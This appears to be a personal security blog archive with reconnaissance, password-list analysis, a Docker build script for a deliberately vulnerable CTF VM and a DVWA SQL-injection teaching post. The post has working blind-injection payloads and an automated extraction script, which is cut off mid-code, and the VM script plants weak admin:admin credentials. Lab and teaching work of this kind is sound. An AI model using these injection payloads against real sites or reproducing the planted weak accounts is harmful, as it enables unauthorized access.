Saturday, September 28, 2019

Script for /usr/bin/theharvester

Wrote this quick script to run theharvester:

#!/bin/bash
# Script runs the harvester
dns="domain.local"
sources="baidu bing crtsh censys cymon dogpile google googleCSE virustotal netcraft linkedin pgp twitter vhost yahoo"
numbResults="100"

for i in $sources; do
    theharvester -d $dns -l $numbResults -b $i -h -f mb-$i
done


Tuesday, March 26, 2019

Is rockyou password list in the Have I Been Pwned SHA1 hash list?

A couple of posts ago I wrote a tool in python to evaluate a password list for character sets that it uses and length.  While I was working on it, I wondered if the rockyou password list is in the SHA1 hash collection that you can download from Have I Been Pwned (HIBP).

Below is a bash script that I wrote.  To accomplish this I created a file with all of the SHA1 hashes for the rockyou password list.  Then I split the rockyou hash list into files that contained 3000 hashes in each file.  Then using egrep searched for the hashes in the HIBP list.  The hashes that were found were then saved in a file called zlist.txt.



#!/bin/bash

# Goal was to evaluate the cross-over between the rockyou list and the haveibeenpwned list as of 3/20/2019
# The rockyou list had to be converted from plain-text passwords to an upper-case SHA-1
# To accomplish the above task created a hashRockYou.py file and saved output as rockyouHashes.txt

# split -l 3000 rockyouHashes.txt   - This can add 3000 hashes to a egrep search
#        - Takes about 50 seconds per file...
#        - 

# Takes the list of files that are split out and creates an array of files
listFiles=(`ls -lha | awk '{print $9 " " }' | tr -d '\n' | sed 's/^.*xaa\s/xaa /'`)

# Iterates through the list
for i in ${listFiles[@]}
do
 # Outputs the date to verify the script continues to run
 date
 # Puts the 3000 hashes in a regular expression that can be put in egrep
 regex=`cat $i | sed 's/^/|/' | tr -d '\n' | sed 's/|/\^(?:/1' | sed 's/$/)/'`
 #echo "egrep -e \"$regex\" ../pwned-hashes-only.txt"
 # Run egrep with the generated regex of hashes against the haveibeenpwned list of SHA1
 # Create a file of the matches called zlist.txt
 egrep -e "$regex" ../pwned-hashes-only.txt >> zlist.txt
done


HIBP SHA1 List (22GB) contains 551,509,767
Rockyou SHA1 List (561MB) contains 14,344,391
Rockyou SHA1 found in HIBP list 14,333,886
Number of passwords not found in HIBP is 10,505


Monday, March 18, 2019

Docker Scripts used to create and setup myhouse7 Vulenrable VM

For the myhouse7 Vulnerable VM I created a script to automate the setup of docker, setup of pre-setup docker images, and the setup of the images on Ubuntu.  This was to maintain the size of the VM that had to be downloaded to a minimum size.  Here is the link to the myhouse7 Vulnerable VM post.

I thought I would publish the scripta because they can be reused to build a small network in docker.  The below script references files that would not exist if you ran the script after downloading it.




#!/bin/bash

# Files that need to be copied over...
# buildDockerNet.sh # This bash script
# checkHealth.py # Checks the health of the virtual machines
# dockerImages.tar.gz # Compressed tar's of the images that are used
# vol_db1srv.zip # /var/lib/mysql volume with the databases setup 


# Create a /etc/rc.local
# #!/bin/bash
# /home/bob/setup/buildDockerNet.sh
# exit 0
# Setup the file as executable 
# chmod 744 /etc/rc.local
# systemctl enable rc-local.service
# reboot and it should work...

# Built a python script called checkHealth.py on the host to check the health of the virtual machines.  Use the results to recreate the index.php on the host.  Host needs apache2 installed and running
# The health check page has 2 more flags in the page itself...

# The host has a user account called "admin" with the password of "admin"
# The purpose of this account is to allow the student to check the IP Address of the system

# Assumes that in bob's home directory the setup folder exists and this script is run from inside...
path='/home/bob/setup'


### -------- Create the config directory if it does not exist ------------- ###
if [ ! -d $path/config ]
then
 mkdir $path/config
fi

### ---- Setup docker if it is not installed ---- ####
if [ ! -e $path/config/installDocker.txt ]
then
 echo ""
 echo "Installing Docker CE"
 echo "Expects that bob is the name of the user logged in..."
 # Installs the apt key for Docker
 curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -
 # Setup the repo
 add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable"
 # Install docker packages
 # Install unzip to extract the volumes
 # Install apache2 to run a local site on port 20000
 apt-get --assume-yes install docker-ce unzip apache2
 # Test if docker is working
 docker run hello-world
 # Setup the bob user to run the docker command without sudo
 usermod -aG docker bob
 touch $path/config/installDocker.txt
 # Enable and Start the docker daemon
 systemctl enable docker
 systemctl start docker
 echo ""
 echo "Docker successfully installed... You should restart the VM..."
else
 echo ""
 echo "Docker is currently installed and working..."
 echo ""
fi




### --- Setup images for use by the computer --- ###
# /config/setupImages.txt
# Untar and gzip them
# docker load ...
# setup the volume for db1srv ... probably after it is created

### ---- Extract and load the Images ---- ###
if [ ! -e $path/config/setupImages.txt ] && [ -e $path/config/installDocker.txt ]
then
 # Extract the .tar.gz
 echo ""
 echo "Extracting the images..."
 tar xvzf $path/dockerImages.tar.gz -C $path
 # Load the Images
 echo ""
 echo "Loading the extracted images..."
 docker load -i $path/d-anchor-cmsv12.tar
 docker load -i $path/d-apache2-backupv4.tar
 docker load -i $path/d-initial.tar
 docker load -i $path/d-nikto-potv2.tar
 docker load -i $path/d-rsyslogv6.tar
 docker load -i $path/d-sambav2.tar
 docker load -i $path/mariadbv9.tar
 rm -f $path/d-anchor-cmsv12.tar
 rm -f $path/d-apache2-backupv4.tar
 rm -f $path/d-initial.tar
 rm -f $path/d-nikto-potv2.tar
 rm -f $path/dockerImages.tar.gz
 rm -f $path/d-rsyslogv6.tar
 rm -f $path/d-sambav2.tar
 rm -f $path/mariadbv9.tar
 touch $path/config/setupImages.txt
elif [ -e $path/config/installDocker.txt ] && [ -e $path/config/setupImages.txt ]
then
 echo ""
 echo "Docker images are extracted and setup..."
 echo ""
else
 echo ""
 echo "Something is not setup correctly with docker images..."
 echo ""
fi





### ---- Setup the docker networks --- ###
if [ ! -e $path/config/networks.txt ] && [ -e $path/config/installDocker.txt ] && [ -e $path/config/setupImages.txt ]
then
 echo ""
 echo "Configuring Docker Networks"
 docker network create --driver=bridge net10 --subnet=172.31.10.0/24
 docker network create --driver=bridge net20 --subnet=172.31.20.0/24
 docker network create --driver=bridge net30 --subnet=172.31.30.0/24
 docker network create --driver=bridge net200 --subnet=172.31.200.0/24
 touch $path/config/networks.txt
elif [ -e $path/config/networks.txt ] && [ -e $path/config/installDocker.txt ] && [ -e $path/config/setupImages.txt ]
then
 echo ""
 echo "Docker networks are already setup..."
 echo ""
else
 echo ""
 echo "Something is not setup correctly with docker networks..."
 echo ""
fi




### ---- Setup the docker volumes --- ###
if [ ! -e $path/config/volumes.txt ] && [ -e $path/config/installDocker.txt ] && [ -e $path/config/setupImages.txt ]
then 
 echo ""
 echo "Configuring Docker Volumes"
 docker volume create rsyslog_var_log # Creates a volume to retain the log information
 docker volume create db1srv_var_lib_mysql # Retains the databases created or updated
 sudo unzip $path/vol_db1srv.zip -d /
 touch $path/config/volumes.txt
elif [ -e $path/config/volumes.txt ] && [ -e $path/config/installDocker.txt ] && [ -e $path/config/setupImages.txt ]
then
 echo ""
 echo "Docker volumes are already setup..."
 echo ""
else
 echo ""
 echo "Something is not setup correctly with docker volumes..."
 echo ""
fi


### ----- Setup the local server with the flags and other items ---- ###
if [ ! -e $path/config/host.txt ] && [ -e $path/config/volumes.txt ] && [ -e $path/config/installDocker.txt ] && [ -e $path/config/setupImages.txt ]
then
 echo ""
 echo "Configuring the Host"
 # Changes the port on the apache2 server to port 20000
 sed -i 's/Listen 80/Listen 20000/' /etc/apache2/ports.conf
 systemctl restart apache2
 # Useraccount admin:admin is created for reference if necessary for pulling the IP Address.
 useradd admin
 sed -i 's/admin:!:.*/admin:$6$IWjBaf8R$oq9Wz2OjIJPwzOzzU7FNp7EtBvPIhwEA5gZMQHt05cgAYFovOzskRouSp.5QWzgnKNlpPWcYkJeW5sb6M4Sx21:17834:0:99999:7:::/' /etc/shadow
 rm -f $path/vol_db1srv.zip
 # Setup crontab with the scheduled health check
 echo "15/* * * * *    root    /home/bob/setup/checkHealth.py &> /dev/null" >> /etc/crontab
 touch $path/config/host.txt
elif [ -e $path/config/host.txt ] && [ -e $path/config/volumes.txt ] && [ -e $path/config/installDocker.txt ] && [ -e $path/config/setupImages.txt ]
then
 echo ""
 echo "The host has already been configured..."
 echo ""
else
 echo ""
 echo "Something is not setup correctly with the host..."
 echo ""
fi




## Exit the bash script if something is not setup...
if [ ! -e $path/config/networks.txt ] || [ ! -e $path/config/volumes.txt ] || [ ! -e $path/config/installDocker.txt ] || [ ! -e $path/config/setupImages.txt ]
then
 exit 0
fi



#### ---------------- Kill any docker images that may still be running --------------------- ####
for i in web1srv web1srv-v2 blue db1srv utah red two africa
do
        docker stop $i &> /dev/null      # Remove the web1srv container so it can be recreated
done




#### ---------------- Remove Stopped Containers - Clean-up ----- ####
docker ps -aq --no-trunc -f status=exited | xargs docker rm &> /dev/null
for i in web1srv web1srv-v2 blue db1srv utah red two africa
do
 docker rm /$i &> /dev/null # Remove the web1srv container so it can be recreated
done



echo ""
echo "Launching the containers in the DMZ"
echo ""
#### ----------------  Launch in net10 DMZ ---------------- ####
# 172.31.10.17 is meant to be a web server that through the container can connect to
# the database server at 172.31.20.10 - this container will create probably a 172.31.20.2 interface on the 20 subnet
# apt install php-gd php-mbstring php-mysql - Requirements for the install...
# anchor cms does not like being in a sub-folder under the root web folder
# Blog username: admin Password: anchor
docker create -it --network=net10 --name web1srv -p 8115:80 --ip=172.31.10.17 d-anchor-cmsv12 bash
docker network connect --ip=172.31.20.27 net20 web1srv
docker start web1srv
sleep 10s
docker exec -d web1srv /etc/init.d/apache2 start
docker exec -d web1srv /etc/init.d/rsyslog start
# Setup logging of apache2 access.log to go to the rsyslog server...

# 172.31.10.22 - 3 flags 
# nikto honeypot - fake phpmyadmin server
# Creation of the next 2 flags
# 1. Scanned server with nikto
# 2. cat access.log | grep "GET" | sed -e 's/.*\s"GET\s\///' | sed 's/\s.*//' | grep -v "?" | grep -v -e "/" -e "+" -e "=" -e "%" -e "_" -e "~" -e "-" -e "\\" > /var/www/html/fileList.txt
# 3. cat fileList.txt | sed 's/^/touch /' > script.sh
# 4. Ran the script in /var/www/html
# 5. Then added the below files manually
docker run -tid --network=net10 --name blue -p 8112:80 -p 443:80 -p 25:80 -p 8008:80 -p 10000:80 --ip=172.31.10.22 d-nikto-potv2 bash
sleep 10s
docker exec -d blue /etc/init.d/apache2 start # Starts the apache2 web server
docker exec -d blue /etc/init.d/rsyslog start
# Setup logging for the apache2 access.log

# 172.31.10.25 - 3 flags
docker create -it --network=net10 --name red -p 8111:80 --ip=172.31.10.25 d-apache2-backupv4 bash # nmap by default does not detect port 8111
docker network connect --ip=172.31.200.85 net200 red
docker start red
sleep 10s
docker exec -d red /etc/init.d/apache2 start # Starts the apache2 web server
docker exec -d red /etc/init.d/rsyslog start
# Setup logging...


echo ""
echo "Launching the DB Servers"
echo ""

#### ----------------- Launch in net20 DB-Servers---------------- ####
# MySQL Server for the Anchor CMS and Timeclock Software 0.99 (exploit-db)
# The timeclock software I rewrote the MySQL usage due to it being out-of-date...  Would not recommend...
# Make sure you backup the volume...... :)
# docker volume create db1srv_var_lib_mysql - retains the databases created or updated
# Setup logging to 172.31.20.194 for syslog
# Setup logging to 172.31.20.194 for mysql - Customized the /etc/rsyslog.conf file to log the specific /var/log/mysql-syslog.log
docker run -d --network=net20 --name db1srv --ip=172.31.20.10 -e MYSQL_ROOT_PASSWORD=anchordb -v db1srv_var_lib_mysql:/var/lib/mysql mariadbv9
docker exec -d db1srv rm /run/rsyslogd.pid
sleep 10s
docker exec -d db1srv /etc/init.d/rsyslog start
# After it loads the 1st time check docker logs db1srv | grep GENERATE for the new root password
# Then docker exec -it db1srv mysql -uroot -p # and login to the database with the new root password
# Then you can ALTER USER 'root'@'localhost' IDENTIFIED BY 'password';



docker run -tid --network=net20 --name utah --ip=172.31.20.44 d-initial bash


echo ""
echo "Launching the Administrators subnet"
echo ""

#### ----------------- Launch in net 30 Administrator Network -------------- ####
# Setup the users heather and larryjr that have access to the fileshares - Passwords also used on the timeclock
docker create -it --network=net30 --name two --ip=172.31.30.24 d-sambav2 bash
docker network connect --ip=172.31.200.204 net200 two
docker start two
docker exec -d two /etc/init.d/smbd start

echo ""
echo "Launching the Monitoring Subnet"
echo ""

#### ----------------- Launch in net 200 Monitoring Workstation Network -------------- ####
# Syslog Server
#docker volume create rsyslog_var_log - Creates a volume to retain the log information
# Not important to retain the rsyslog_var_log volume
# SSH is listening on port 24 on the 172.31.20.194 interface only
# Set root password to be anchor
docker create -it --network=net200 --name africa --ip=172.31.200.194 -v rsyslog_var_log:/var/log d-rsyslogv6 bash
docker network connect --ip=172.31.10.194 net10 africa
docker network connect --ip=172.31.20.194 net20 africa
# db1srv is logging syslog and mysql queries to the server...
docker network connect --ip=172.31.30.194 net30 africa
docker start africa
sleep 10s
docker exec -d africa /etc/init.d/rsyslog start # Starts the rsyslog server listening on UDP and TCP 514
docker exec -d africa /etc/init.d/ssh start     # Starts the ssh server for connections




# 
# Run the checkhealth script at the end of this script...
sleep 60s
$path/checkHealth.py




Below is a script that I built in python to maintain the docker environment and verify everything is running.  Often times, a daemon would not be running.




#!/usr/bin/python3
# Executes as a scheduled cronjob every 15 minutes...

import subprocess

f = open('/var/www/html/index.html', 'w')
f.write('')
f.write('Health Check for Docker Containers

')
f.write('Refreshed every 15 mintes...

')
f.write('Search for flags on the system.  Here is your first of 20: {{tryharder:1}}')
f.write('')
f.write('
') ### Check the apache2 service of web1srv to see if it is running... for apacheServer in ['web1srv', 'blue', 'red']: result = subprocess.run(['docker', 'exec', apacheServer, '/etc/init.d/apache2', 'status'], stdout=subprocess.PIPE) result = result.stdout.decode('utf-8').strip() if "* apache2 is running" == result: f.write(' ') f.write(apacheServer + ' apache2 is Online and Working') f.write(' ') else: f.write(' ') f.write(apacheServer + ' apache2 is Broken and Not Working - Trying to start the apache2 server...') f.write(' ') resultTry = subprocess.run(['docker', 'exec', '-d', apacheServer, '/etc/init.d/apache2', 'start'], stdout=subprocess.PIPE) resultTry = resultTry.stdout.decode('utf-8').strip() if "* apache2 is running" == result: f.write(' ') f.write(apacheServer + ' apache2 is Online and Working - After Starting...') f.write(' ') else: f.write(' ') f.write(apacheServer + ' apache2 is Broken with something Fatal... Restart VM and try again...') f.write(' ') for syslogServer in ['web1srv', 'blue', 'red', 'db1srv', 'africa']: result = subprocess.run(['docker', 'exec', syslogServer, '/etc/init.d/rsyslog', 'status'], stdout=subprocess.PIPE) result = result.stdout.decode('utf-8').strip() if "* rsyslogd is running" == result: f.write(' ') f.write(syslogServer + ' rsyslog is Online and Working') f.write(' ') else: f.write(' ') f.write(syslogServer + ' rsyslog is Broken and Not Working - Trying to start the rsyslog server...') f.write(' ') resultTry = subprocess.run(['docker', 'exec', '-d', syslogServer, '/etc/init.d/rsyslog', 'start'], stdout=subprocess.PIPE) resultTry = resultTry.stdout.decode('utf-8').strip() if "* rsyslogd is running" == result: f.write(' ') f.write(syslogServer + ' rsyslog is Online and Working - After Starting...') f.write(' ') else: f.write(' ') f.write(syslogServer + ' rsyslog is Broken with something Fatal... Restart VM and try again...') f.write(' ') for sshServer in ['africa']: result = subprocess.run(['docker', 'exec', sshServer, '/etc/init.d/ssh', 'status'], stdout=subprocess.PIPE) result = result.stdout.decode('utf-8').strip() if "* sshd is running" == result: f.write(' ') f.write(sshServer + ' ssh is Online and Working') f.write(' ') else: f.write(' ') f.write(sshServer + ' ssh is Broken and Not Working - Trying to start the rsyslog server...') f.write(' ') resultTry = subprocess.run(['docker', 'exec', '-d', sshServer, '/etc/init.d/ssh', 'start'], stdout=subprocess.PIPE) resultTry = resultTry.stdout.decode('utf-8').strip() if "* sshd is running" == result: f.write(' ') f.write(sshServer + ' ssh is Online and Working - After Starting...') f.write(' ') else: f.write(' ') f.write(sshServer + ' ssh is Broken with something Fatal... Restart VM and try again...') f.write(' ') for smbServer in ['two']: result = subprocess.run(['docker', 'exec', smbServer, '/etc/init.d/smbd', 'status'], stdout=subprocess.PIPE) result = result.stdout.decode('utf-8').strip() if "* smbd is running" == result: f.write(' ') f.write(smbServer + ' smb is Online and Working') f.write(' ') else: f.write(' ') f.write(smbServer + ' smb is Broken and Not Working - Trying to start the rsyslog server...') f.write(' ') resultTry = subprocess.run(['docker', 'exec', '-d', smbServer, '/etc/init.d/smbd', 'start'], stdout=subprocess.PIPE) resultTry = resultTry.stdout.decode('utf-8').strip() if "* smb is running" == result: f.write(' ') f.write(smbServer + ' smb is Online and Working - After Starting...') f.write(' ') else: f.write(' ') f.write(smbServer + ' smb is Broken with something Fatal... Restart VM and try again...') f.write(' ') f.write('') f.close()

Here is a quick script I wrote to save the docker images that I created.




#!/bin/bash

for i in d-anchor-cmsv12 d-nikto-potv2 d-apache2-backupv4 mariadbv9 d-initial d-sambav2 d-rsyslogv6
do
 docker save --output $i.tar $i
done






Sunday, March 17, 2019

Password Requirements Evaluation

I am often asked to evaluate a list of passwords. The evaluation sometimes goes like this, how many passwords only have upper, lower-case, and numeric passwords and not special characters. Below is a script to evaluate a list of passwords for this and length of the passwords. This script does not handle unicode characters being in the passwords.




#!/usr/bin/python3


# Script to Evaluate the Strength of Passwords and Length

import re

f = open("temp.txt", encoding="utf-8", errors="ignore")
countNumeric = 0
countLowerCase = 0
countLowerCaseNumber = 0
countUpperCase = 0
countUpperCaseNumber = 0
countUpperLowerCase = 0
countUpperLowerCaseNumber = 0
countUpperLowerCaseNumberSpecial = 0
countTotal = 0
lengthLess8 = 0
length8to12 = 0
length13to16 = 0
length17to20 = 0
length21to32 = 0
length33up = 0

for line in f:
    line = line.strip()
    strLength = len(line)
    # All lower-case password
    numericExpression = '^[0-9]{' + str(strLength) + '}$'
    if re.match(numericExpression, line): countNumeric += 1
    lowerCaseExpression = '^[a-z]{' + str(strLength) + '}$'
    if re.match(lowerCaseExpression, line): countLowerCase += 1
    lowerCaseNumericExpression = '^[a-z0-9]{' + str(strLength) + '}$'
    if re.match(lowerCaseNumericExpression, line): countLowerCaseNumber += 1
    upperCaseExpression = '^[A-Z]{' + str(strLength) + '}$'
    if re.match(upperCaseExpression, line): countUpperCase += 1
    upperCaseNumberExpression = '^[A-Z0-9]{' + str(strLength) + '}$'
    if re.match(upperCaseNumberExpression, line): countUpperCaseNumber += 1
    upperLowerCaseExpression = '^[A-Za-z]{' + str(strLength) + '}$'
    if re.match(upperLowerCaseExpression, line): countUpperLowerCase += 1
    upperLowerCaseNumericExpression = '^[A-Za-z0-9]{' + str(strLength) + '}$'
    if re.match(upperLowerCaseNumericExpression, line): countUpperLowerCaseNumber += 1
    upperLowerCaseNumericSpecialExpression = '^[A-Za-z0-9,.!@#$%^&?\[\]<>*_\-=+ \'"()`\.,;:/\\x5c~|]{' + str(strLength) + '}$'   # \x5c = \
    if re.match(upperLowerCaseNumericSpecialExpression, line): 
        countUpperLowerCaseNumberSpecial += 1
    #else:
    #    print(line)
    if len(line) < 8: lengthLess8 += 1
    if len(line) >= 8 and len(line) <= 12: length8to12 += 1
    if len(line) >= 13 and len(line) <= 16: length13to16 += 1
    if len(line) >= 17 and len(line) <= 20: length17to20 += 1
    if len(line) >= 21 and len(line) <= 32: length21to32 += 1
    if len(line) >= 33: length33up += 1
    countTotal += 1
    #print(line)

print("Total Passwords in List: " + str(countTotal))
print("All numeric only passwords: " + str(countNumeric))
print("All lower-case only passwords: " + str(countLowerCase))
print("All lower-case and numeric only passwords: " + str(countLowerCaseNumber - countNumeric - countLowerCase))
print("All upper-case only passwords: " + str(countUpperCase))
print("All upper-case and numeric only passwords: " + str(countUpperCaseNumber - countUpperCase - countNumeric))
print("All upper-case and lower-case only passwords: " + str(countUpperLowerCase - countUpperCase - countLowerCase))
print("All upper-case, lower-case and numeric only passwords: " + str(countUpperLowerCaseNumber - (countUpperLowerCase - countUpperCase - countLowerCase) - (countLowerCaseNumber - countLowerCase - countNumeric) - (countUpperCaseNumber - countUpperCase - countNumeric) - countUpperCase - countLowerCase - countNumeric))
print("All upper-case, lower-case, numeric and special chars only passwords: " + str(countUpperLowerCaseNumberSpecial - (countUpperLowerCaseNumber - countUpperCase - countLowerCase - countNumeric) - countUpperCase - countLowerCase - countNumeric))
print("Unaccounted for Passwords with RegEx's: " + str(countTotal - countUpperLowerCaseNumberSpecial))
print()
print("Password Length < 8: " + str(lengthLess8))
print("Password Length 8 to 12: " + str(length8to12))
print("Password Length 13 to 16: " + str(length13to16))
print("Password Length 17 to 20: " + str(length17to20))
print("Password Length 21 to 32: " + str(length21to32))
print("Password Length 33 and up: " + str(length33up))



With the above script I ran it against the rockyou list and received the following statistics (I put in the comma's):

Total Passwords in List: 14,344,391
All numeric only passwords: 2,346,874
All lower-case only passwords: 3,726,802
All lower-case and numeric only passwords: 6,075,066
All upper-case only passwords: 229,917
All upper-case and numeric only passwords: 407,421
All upper-case and lower-case only passwords: 159,318
All upper-case, lower-case and numeric only passwords: 382,270
All upper-case, lower-case, numeric and special chars only passwords: 1,001,182
Unaccounted for Passwords with RegEx's: 15,541

Password Length < 8: 4,737,460
Password Length 8 to 12: 8,593,633
Password Length 13 to 16: 891,426
Password Length 17 to 20: 88,173
Password Length 21 to 32: 31,576
Password Length 33 and up: 2,123


Thursday, January 31, 2019

SQL Injection - Using SQL to be Efficient

In a recent class that I was teaching we were talking about SQL injection.  The example and script that I provided the class was trying every character from a to z and if the response was successful then you moved onto the next character.

For example if I use the below query:

SELECT * FROM users WHERE user = '<input>' and password = '<input>';

In the above query the <input> would not be sanitized and you could manipulate the query.  Using DVWA they use this query in the "Brute Force" section under "Low" security.

Here is an example that I have of how SQL injection can be done in the above query to bypass the login:

SELECT * FROM users WHERE user = 'a' OR user LIKE 'a%' OR user = 'b' and password = 'anything';

We could use the above query and go through each character in the alphabet to find the second letter.  This would result in up to 26 queries to find the next letter.  So with the username of "admin" it would take ~41 queries.

Let's try and be more efficient using SQL.  Let's examine the following query:

SELECT * FROM users WHERE user = 'a' OR ((SUBSTRING(user, 1, 1) = 'a') AND ((SUBSTRING(user, 2, 1) >= 'a') AND (SUBSTRING(user, 2, 1) <= 'm'))) OR user = 'b' and password = 'anything';

The query takes the next letter and checks to see if it is in a range of characters.  Then it decreases the range until it is within 3-4 queries of the actual letter.  With the above query to find the name of admin it takes a total of  27 queries given the first letter is an "a" would be 28 queries total.  Using the DVWA "Brute Force" exercise you receive the following query totals to find the following usernames:

Username: admin QueryCount: 27
Username: gordonb QueryCount: 36
Username: pablo QueryCount: 23
Username: smithy QueryCount: 36

Below is the code that I created to show how using SQL in the query to make it more efficient.




#!/usr/bin/python3


# cat temp | grep "Failed" | grep -v "QueryCount: 1" | grep "FirstLetter: a SecondLetter: m"

import urllib.parse
import urllib.request




def establishHeaders():
    # You will need to update the PHPSESSID wit a valid session number
    h = { 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0',
          'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
          'Accept-Language': 'en-US,en;q=0.5',
          'Referer': 'http://typhoon.local/dvwa/vulnerabilities/brute/',
          'Cookie': 'security=low; PHPSESSID=mbco2831mgi1p93dnk35gkbd97',
          'Connection': 'keep-alive',
          'Upgrade-Insecure-Requests': '1',
          'Host': 'typhoon.local' }
    return h


def parseHTML(h):
        for line in h:
            if "<pre>" in line:
                line = line.replace("<pre>
","").replace("</pre>","").replace("\t","")
                return "No"
            elif "Welcome to the password protected area" in line:
                return "Yes"
            #else:
            #    print(line)



def main(letterPassed):
    print("Exploiting BVWA - Brute Force - Low Setting")
    print("-------------------------------------------") 
    # SQL Injection goes between url1 and url2  -- url1 + injection + url2
    url1 = "http://typhoon.local/dvwa/vulnerabilities/brute/?username=" 
    url2 = "&password=x&Login=Login"
    headers = establishHeaders()
    case = "Go"
    usernameSegment=letterPassed
    usernameSegmentCount = 1    # Characters in usernameSegment
    firstletter='a'
    secondletter='m'
    queryCount=0
    while case != "Quit":
        # Automating the SQL Injection with the following
        # a' OR ((SUBSTRING(user, 1, 1) = 'a') AND ((SUBSTRING(user, 2, 1) >= 'a') AND (SUBSTRING(user, 2, 1) <= 'm'))) OR user = 'b       
        # Assumes the first letter of the username is "a" for now...
        sqlinject = "a' OR ((SUBSTRING(user, 1, " + str(usernameSegmentCount) + ") = '" + usernameSegment + "') AND ((SUBSTRING(user, " + str(usernameSegmentCount+1) + ", 1) >= '" + firstletter + "') AND (SUBSTRING(user, " + str(usernameSegmentCount+1) + ", 1) <= '" + secondletter + "'))) OR user = 'b"
        sql = "SELECT * FROM users WHERE user = '" + sqlinject + "' AND password = ''"
        #print("\n\nSQL: "+ sql)
        sqlinject = sqlinject.replace("%", "%25").replace(" ", "+").replace("'", "%27")
        #postData = urllib.parse.urlencode(data)
        #postData = postData.encode('ascii')
        url = url1 + sqlinject + url2
        #print("\nURL: " + url)
        data = bytes('', 'ascii')
        req = urllib.request.Request(url, data, headers)
        with urllib.request.urlopen(req) as response:
            output = response.read()
        html = output.decode('ascii').split('\n')
        successful = parseHTML(html)
        queryCount += 1
        if successful == "Yes" and firstletter=='a' and secondletter=='m':     # if a-m then a-g
            comment = "Success - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
            firstletter='a'
            secondletter='g'
        elif successful == "No" and firstletter=='a' and secondletter=='m':     # if not a-m then n-z
            comment = "Failed - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
            firstletter='n'
            secondletter='z'
        elif successful == "Yes" and firstletter=='n' and secondletter=='z':     # if n-z then n-t
            comment = "Success - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
            firstletter='n'
            secondletter='t'
        elif successful == "No" and firstletter=='n' and secondletter=='t':     # if n-z and not n-t then u-z
            comment = "Failed - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
            firstletter='u'
            secondletter='z'
        elif successful == "Yes" and firstletter=='u' and secondletter=='z':     # if n-z and u-z then u-w
            comment = "Success - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
            firstletter='u'
            secondletter='w'
        elif successful == "No" and firstletter=='u' and secondletter=='w':     # if n-z and u-z and not u-w then x-z
            comment = "Failed - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
            firstletter='x'
            secondletter='z'
        elif successful == "Yes" and firstletter=='x' and secondletter=='z':     # if n-z and u-z and x-z then x
            comment = "Success - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
            firstletter='x'
            secondletter='x'
        elif successful == "No" and firstletter=='x' and secondletter=='x':     # if n-z and u-z and x-z and not x then y
            comment = "Failed - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
            firstletter='y'
            secondletter='y'
        elif successful == "No" and firstletter=='y' and secondletter=='y':     # if n-z and u-z and x-z and not y then z
            comment = "Failed - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
            firstletter='z'
            secondletter='z'
        elif successful == "Yes" and firstletter=='u' and secondletter=='w':     # if n-z and u-z and u-w then u
            comment = "Success - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
            firstletter='u'
            secondletter='u'
        elif successful == "No" and firstletter=='u' and secondletter=='u':     # if n-z and u-z and u-w and not u then v
            comment = "Failed - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
            firstletter='v'
            secondletter='v'
        elif successful == "No" and firstletter=='v' and secondletter=='v':     # if n-z and u-z and u-w and not v then w
            comment = "Failed - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
            firstletter='w'
            secondletter='w'
        elif successful == "Yes" and firstletter=='n' and secondletter=='t':     # if n-t then n-q
            comment = "Success - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
            firstletter='n'
            secondletter='q'
        elif successful == "Yes" and firstletter=='n' and secondletter=='q':     # if n-q then n
            comment = "Success - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
            firstletter='n'
            secondletter='n'
        elif successful == "No" and firstletter=='n' and secondletter=='n':     # if n-q and not n then o
            comment = "Failed - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
            firstletter='o'
            secondletter='o'
        elif successful == "No" and firstletter=='o' and secondletter=='o':     # if n-q and not o then p
            comment = "Failed - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
            firstletter='p'
            secondletter='p'
        elif successful == "No" and firstletter=='p' and secondletter=='p':     # if n-q and not p then q
            comment = "Failed - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
            firstletter='q'
            secondletter='q'
        elif successful == "No" and firstletter=='n' and secondletter=='q':     # if n-t and not n-q then r-t
            comment = "Failed - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
            firstletter='r'
            secondletter='t'
        elif successful == "Yes" and firstletter=='r' and secondletter=='t':     # if n-t and r-t then r
            comment = "Success - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
            firstletter='r'
            secondletter='r'
        elif successful == "No" and firstletter=='r' and secondletter=='r':     # if n-t and r-t and not r then s
